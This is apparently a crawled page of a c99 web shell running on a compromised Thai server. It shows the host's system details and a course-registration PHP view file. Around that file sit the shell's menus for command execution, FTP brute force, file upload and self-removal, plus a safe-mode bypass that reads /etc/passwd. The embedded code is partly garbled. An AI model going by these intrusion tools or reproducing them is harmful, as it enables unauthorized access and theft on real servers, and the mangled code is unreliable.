!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_courseTable.php (2.45 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
//alert(self.opener.document.myform.seq2.value);
var dex = 0;
    for(var i=2;i<6;i++){
        if(window.opener.document.myform.elements["crsId" + i].value==""){
            //document.myform.elements["ndex"].value = i;
            var dex = i;
            break;
        }
    }
    //alert(document.myform.elements["ndex"].value);
function ReturnValue(crsId, crsName, dex)
{
    window.opener.document.myform.elements["crsId" + dex].value = crsId;
    window.opener.document.myform.elements["crsName" + dex].value = crsName;
    window.close();
}
</script>
<table class="szone">
    <tr>
        <td align="center"><?php echo form_open($this->config->item("rg_folder")."curpbri/crs_popup", array("name" => "myform""id" => "myform"));?>
        <b>ชื่อรายวิชา</font>
        <input type="text" name="crsNameSearch" />
        <input type="hidden" name="ndex" value='<?echo $ndex;?>' />
        <input type="submit" name="search" value="ค้นหา" />
        <?php echo form_close();?></td>
    </tr>
<tr><td>
<table class="headCol">
    <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
        <th class="seqCol">ลำดับที่</th>
        <th>รายวิชา</th>
        <th>หน่วยกิต</th>
    </tr>
<?php
    
if($rs_crs->num_rows()) {
        
$i 0;
        foreach(
$rs_crs->result() as $row) {
            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
        <td align="center" onClick="ReturnValue(<?php echo $row->crsId;?>,'<?php echo $row->crsCode." ".explodeSquare($row->crsName);?>',<?php echo $ndex;?>)" onMouseOver="this.style.cursor='pointer'"><?php echo $i+1;?></td>
        <td onClick="ReturnValue(<?php echo $row->crsId;?>,'<?php echo $row->crsCode." ".explodeSquare($row->crsName);?>',<?php echo $ndex;?>)" onMouseOver="this.style.cursor='pointer'"><?php echo $row->crsCode." ".explodeSquare($row->crsName);?></td>
        <td align="center" onClick="ReturnValue(<?php echo $row->crsId;?>,'<?php echo $row->crsCode." ".explodeSquare($row->crsName);?>',<?php echo $ndex;?>)" onMouseOver="this.style.cursor='pointer'"><?php echo $row->crsUnit;?></td>
    </tr>
<?php
            $i
++;
        }
    }
    else {
?>
    <tr>
        <td colspan="3" align="center"><font size="2" color="<?php echo $font_color_err?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
    </tr>
<?php
    
}
?>
</table>
</td></tr>
<tr>
        <td align="right">รวม <?php echo $rs_crs->num_rows();?> รายการ</td>
</tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--